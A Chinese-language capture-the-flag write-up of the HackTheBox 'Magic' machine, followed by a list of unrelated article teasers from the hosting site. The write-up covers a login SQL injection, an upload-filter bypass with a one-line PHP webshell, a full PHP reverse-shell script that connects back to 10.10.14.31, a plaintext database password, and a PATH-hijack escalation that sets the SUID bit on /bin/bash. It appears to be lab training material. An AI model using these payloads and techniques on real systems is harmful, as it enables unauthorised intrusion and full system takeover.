HTB-Magic

news2024/10/1 23:37:46

HTB-Magic

  • 信息收集
  • 80端口
  • 立足
  • www-data -> theseus
  • theseus -> root

在这里插入图片描述

信息收集

在这里插入图片描述

80端口

主页如下。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

左下角有一个Login。
在这里插入图片描述
抓包后尝试sql注入。
在这里插入图片描述

在这里插入图片描述
上传一个图片并保存请求。
在这里插入图片描述
上传的文件会在/uploads/上传文件名+后缀。

在这里插入图片描述
只允许我们上传jpg,jpeg,png文件。

在这里插入图片描述
上传php会出现警告。
在这里插入图片描述
经过测试发现目标对上传文件的后缀名和文件头进行过滤。

在这里插入图片描述

在这里插入图片描述

立足

上传webshell。<?php system($_REQUEST['cmd']);?>
在这里插入图片描述
webshell反弹失败,构造好php反弹。

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.31', 4443);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

在这里插入图片描述

www-data -> theseus

/var/www/Magic/db.php5里面有数据库的信息。
在这里插入图片描述
直接使用su theseus会失败,所以去mysql看看。可以看到本地在运行3306端口,但是无法使用mysql。
在这里插入图片描述

我们也跟着db.php5来使用PDO。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
获得表名login
在这里插入图片描述

获取字段名id,username,password
在这里插入图片描述
获得admin:Th3s3usW4sK1ng
在这里插入图片描述

在这里插入图片描述

theseus -> root

find / -perm -04000 2>/dev/null可以得到/bin/sysinfo
在这里插入图片描述/bin/sysinfo的所属组和theseus的所属组都是users
在这里插入图片描述
strings /bin/sysinfo能看到查看各种信息所使用的命令。

在这里插入图片描述
命令没有使用绝对路径,大概率突破口就在这。现在先看看环境变量。
在这里插入图片描述

就下面四个命令。

lshw -short
fdisk -l
cat /proc/cpuinfo
free -h

选了一个lshw,并在/tmp创建了一个同名文件内容如下:

#!/bin/bash
chmod +s /bin/bash

然后使用PATH=$PWD:$PATH /bin/sysinfo
在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/428699.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C/C++每日一练(20230418)

目录 1. 搜索插入位置 &#x1f31f; 2. 最长有效括号 &#x1f31f;&#x1f31f;&#x1f31f; 3. 子集 &#x1f31f;&#x1f31f; &#x1f31f; 每日一练刷题专栏 &#x1f31f; Golang每日一练 专栏 Python每日一练 专栏 C/C每日一练 专栏 Java每日一练 专栏…

2023软件测试银四如何逆势涨薪,开头30秒给你想要的答案

引言 2023软件测试银四逆势涨薪&#xff0c;这是一个让人兴奋的话题。毕竟&#xff0c;在当前就业市场的背景下&#xff0c;很多人正在面临着困境&#xff0c;而能够在逆势中实现薪资上涨的机会&#xff0c;显然是非常值得我们去关注的。 那么&#xff0c;到底是什么让这些软…

C语言实现惯导更新算法(机械编排)

四元数 四元数可用于描述刚体转动或姿态变换,与方向余弦阵相比,表达简洁。四元数是一个包含四个元素的列向量,列向量的第一个元素表示刚体围绕旋转轴转过的角度大小,其余3个元素代表了旋转轴的方向。 姿态更新算法 本程序姿态的递推计算采用四元数来实现,姿态的变化采…

coinex02// 撮合引擎 RingBuffer Disruptor的构建与使用

目录 0. 课程视频地址 0.1 撮合引擎课程 0.1 RocketMQ安装 0.3 RocketMQ搭建成功后登录 1. docker 配置rocketmq 2 逻辑树 : 构建RingBuffer -> 使用RingBuffer 2.1 生产者往RingBuffer中放数据 Disruptor把数据推给消费者cpu 2.2 RingBuffer, Disruptor的创建 ->…

麻了,别再为难测试工程师了...

前言 有不少技术友在测试群里讨论&#xff0c;近期的面试越来越难了&#xff0c;要背的八股文越来越多了,考察得越来越细&#xff0c;越来越底层&#xff0c;明摆着就是想让我们徒手造航母嘛&#xff01;实在是太为难我们这些测试工程师了。 这不&#xff0c;为了帮大家节约时…

Stable Diffusion XL:更快,更强

Stable Diffusion XL&#xff1a;更快&#xff0c;更强 今天&#xff0c;Stability AI 的创始人兼首席执行官 Emad Mostaque 发推宣布&#xff0c;Stable Diffusion XL 进入公测阶段。 核心信息总结起来有2点&#xff1a; “XL”不是新模型的官方名称&#xff0c;Stability …

计算机图形学——游戏方向 第一章 计算机图形学概述

计算机图形学——游戏方向 第一章 计算机图形学概述前言第一章 计算机图形学概述1.为什么设计专业要学习计算机图形学?计算机图形学与计算机视觉等领域的关系计算机图形学基础自学体系2.计算机图形学的辨析3.计算机图形&#xff08;学&#xff09;的发展历史1951&#xff1a;N…

〖Python网络爬虫实战⑭〗- BeautifulSoup详讲

订阅&#xff1a;新手可以订阅我的其他专栏。免费阶段订阅量1000python项目实战 Python编程基础教程系列&#xff08;零基础小白搬砖逆袭) 说明&#xff1a;本专栏持续更新中&#xff0c;目前专栏免费订阅&#xff0c;在转为付费专栏前订阅本专栏的&#xff0c;可以免费订阅付费…

Flume系列:Flume Source使用

目录 Apache Hadoop生态-目录汇总-持续更新 1&#xff1a;taildir source 2&#xff1a;kafka source 3&#xff1a;exec source&#xff08;tail -F&#xff09; 4&#xff1a;netcat source&#xff08;采集端口&#xff09; 5&#xff1a;spoolDir读取目录文件&#xf…

Axios请求(对ajax的二次封装)——Axios API、Axios实例、请求配置、Axios响应结构

axios起步——介绍和使用基本用例post请求场景复现核心干货axios APIaxios(config)axios(url[,config])请求方式别名axios实例创建一个axios实例axios.create([config])实例方法axios请求配置axios响应结构场景复现 最近学习与前端相关的小程序时&#xff0c;接触了异步请求ap…

医学图像配准 (Medical Image Registration)

目录 Classification Transformation Registration Algorithms Landmark Based Surfaced Based Voxel Intensity Based Information Theory Based Registration using basis functions Registration using splines Other Physics Based Registration Optimization V…

OctoClock CDA 2990

CDA 2990 CDA 2990为时钟和PPS分发设备&#xff0c;支持外部一路时钟和PPS输入&#xff0c;最高支持8路时钟和PPS输出。同时CDA 2990可选配带GPS模块版本&#xff0c;可外接GPS天线&#xff0c;支持通过GPS锁定时钟和PPS信号输出。CDA 2990主要用于多台USRP设备进行同步。 CDA…

C++之 继承 (inheritance)

目录 启示 一、基本语法 二、继承的方式 三种&#xff1a; 公共基础 / 保护继承 / 私有继承 三、继承中的对象模型 ①父类中所有非静态成员属性都会继承给子类 ②而私有成员属性同样继承过去&#xff0c;但是被编译器隐藏&#xff0c;因此无法访问 四、继承中构造和析…

2023年,送你一份最新的后端架构师知识图谱

这是一个能让你成为架构师的文章&#xff0c;请耐心读完。 为什么写这个 前几天心血来潮搜了下《后端架构师》的技术图谱。发现最新最火的文章更新时间还停留在5年前。最新的技术体系并没有罗列在内。而且文章的颗粒度特别细&#xff0c;是从数据结构和常用算法开始的。这是典…

【加餐 2】Tab 标签页管理

【加餐 2】Tab 标签页管理 对于管理系统,经常需要开启多个标签页,但是每次都需要手动去关闭,很麻烦,所以就有了这个功能,可以一键关闭所有标签页,或者关闭除当前标签页外的所有标签页,对于重要的标签页,可以进行固定至前列,方便下次快速打开。 一、实现效果 实现效…

论文浅尝 | 利用知识图谱增强的Transformer进行跨领域方面抽取

笔记整理&#xff1a;沈小力&#xff0c;东南大学硕士&#xff0c;研究方向为知识图谱链接&#xff1a;https://dl.acm.org/doi/pdf/10.1145/3511808.3557275动机情感分析是自然语言处理的基础任务&#xff0c;它包含介绍了细粒度情感分析中的一个常见任务——基于方面的情感分…

【CSS】鼠标移动到元素上方显示 / 移出盒子范围隐藏案例 ( 子绝父相 | 显示隐藏元素对象 | 鼠标经过样式设置 | 半透明遮罩设置 )

文章目录一、鼠标移动到元素上方显示 / 移出盒子范围隐藏案例要点分析1、子绝父相2、显示隐藏元素对象3、鼠标经过样式设置4、半透明遮罩设置二、代码示例一、鼠标移动到元素上方显示 / 移出盒子范围隐藏案例要点分析 1、子绝父相 这里要 在一个 div 盒子上方套一层遮罩 , 遮罩…

【原理图专题】OrCAD Capture 设计规则(DRC)检查

在原理图设计完成后,需要进行DRC检查,DRC检查能协助工程师快速检查原理图的物理、电气规则是否正确,能快速定位错误和原因。 DRC检查从Capture 工具栏中如下图红框所示的图标中Design Rules Check进入 进入后将打开DRC窗口,有四个选项卡。分别是Design Rules Options、Elec…

带你了解攻击与防护相关知识

目录 一、攻击篇 &#xff11;.什么是恶意软件&#xff1f; &#xff12;.恶意软件有哪些特征&#xff1f; 3. 恶意软件的可分为那几类&#xff1f; 4. 恶意软件的免杀技术有哪些&#xff1f; 5. 反病毒技术有哪些&#xff1f; 6. 反病毒网关的工作原理是什么&#xff1f…

java计时器

在 Java中&#xff0c;我们有一个重要的概念&#xff1a;同步和异步。同步就是 Java中的线程安全&#xff0c;异步就是 Java中的线程非安全。 在使用 JVM时&#xff0c;我们一般都是用 start &#xff08;&#xff09;方法启动一个线程&#xff0c;然后设置时间&#xff0c;比如…